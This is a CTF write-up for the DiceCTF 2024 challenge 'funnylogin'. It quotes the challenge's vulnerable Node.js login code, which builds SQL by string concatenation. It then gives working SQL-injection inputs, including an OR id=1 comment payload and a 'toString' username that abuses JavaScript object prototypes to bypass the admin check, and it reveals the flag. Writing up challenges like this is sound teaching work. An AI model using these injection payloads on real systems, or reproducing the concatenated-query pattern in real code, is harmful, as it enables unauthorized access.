--- date: '2024-02-06' tags: ['ctf', 'ctf-web', 'sql', 'javascript'] title: 'DiceCTF 2024 Quals: web/funnylogin' --- ## Task > **web/funnylogin** > > can you login as admin? > > NOTE: no bruteforcing is required for this challenge! please do not bruteforce the challenge. > > [funnylogin.mc.ax](https://funnylogin.mc.ax) > > [`funnylogin.tar.gz`](https://static.dicega.ng/uploads/6beb05ec61c3436cf1e0d566f56e786e42bd8e2fe788404169cae34c368929e4/funnylogin.tar.gz) - `Author: strellic` - `Points: 109` - `Solves: 269 / 1040 (25.865%)` ## Writeup We are presented with a simple login page. Looking at the source code provided, we see: - 100,000 users are created with random UUIDs as usernames, each with a random 16 character hex password. ```js const users = [...Array(100_000)].map(() => ({ user: `user-${crypto.randomUUID()}`, pass: crypto.randomBytes(8).toString("hex") })); db.exec(`INSERT INTO users (id, username, password) VALUES ${users.map((u,i) => `(${i}, '${u.user}', '${u.pass}')`).join(", ")}`); ``` - A random user out of these 100,000 is made an admin, which is stored into an object. ```js const isAdmin = {}; const newAdmin = users[Math.floor(Math.random() * users.length)]; isAdmin[newAdmin.user] = true; ``` - The code is vulnerable to an SQL injection ```js const { user, pass } = req.body; const query = `SELECT id FROM users WHERE username = '${user}' AND password = '${pass}';`; ... const id = db.prepare(query).get()?.id; ``` Let's try the following SQL injection first: - `user`: `' OR id=1;--` - `pass`: `asdf` Thus making the executed query: ```sql SELECT id FROM users WHERE username = '' OR id=1;--' AND password = 'asdf'; ``` This let's us login as the user with the user ID of 1, but we do not pass the admin check to get the flag. Looking back at the code, we see that we are passing the `users[id]` condition, but failing the `isAdmin[user]` condition ```js // in our case this looks like: // if (users[1] && isAdmin["' OR id=1;--"]) { // this condition simplifies to: // { user: ..., pass: ... } && undefined // = true && false // = false if (users[id] && isAdmin[user]) { return res.redirect("/?flag=" + encodeURIComponent(FLAG)); } ``` It appears that we will need to determine the username of the random admin user, but this is not actually necessary. `isAdmin` is an object, and JavaScript objects contain many properties by default. One such example is the `toString` function. We can move the SQL injection to the password field instead, and set the username to be `toString`: - `user`: `toString` - `pass`: `' OR id=1;--` ```sql SELECT id FROM users WHERE username = 'toString' AND password = '' OR id=1;--'; ``` Now, logging in with these credentials gives us the flag: `dice{i_l0ve_java5cript!}`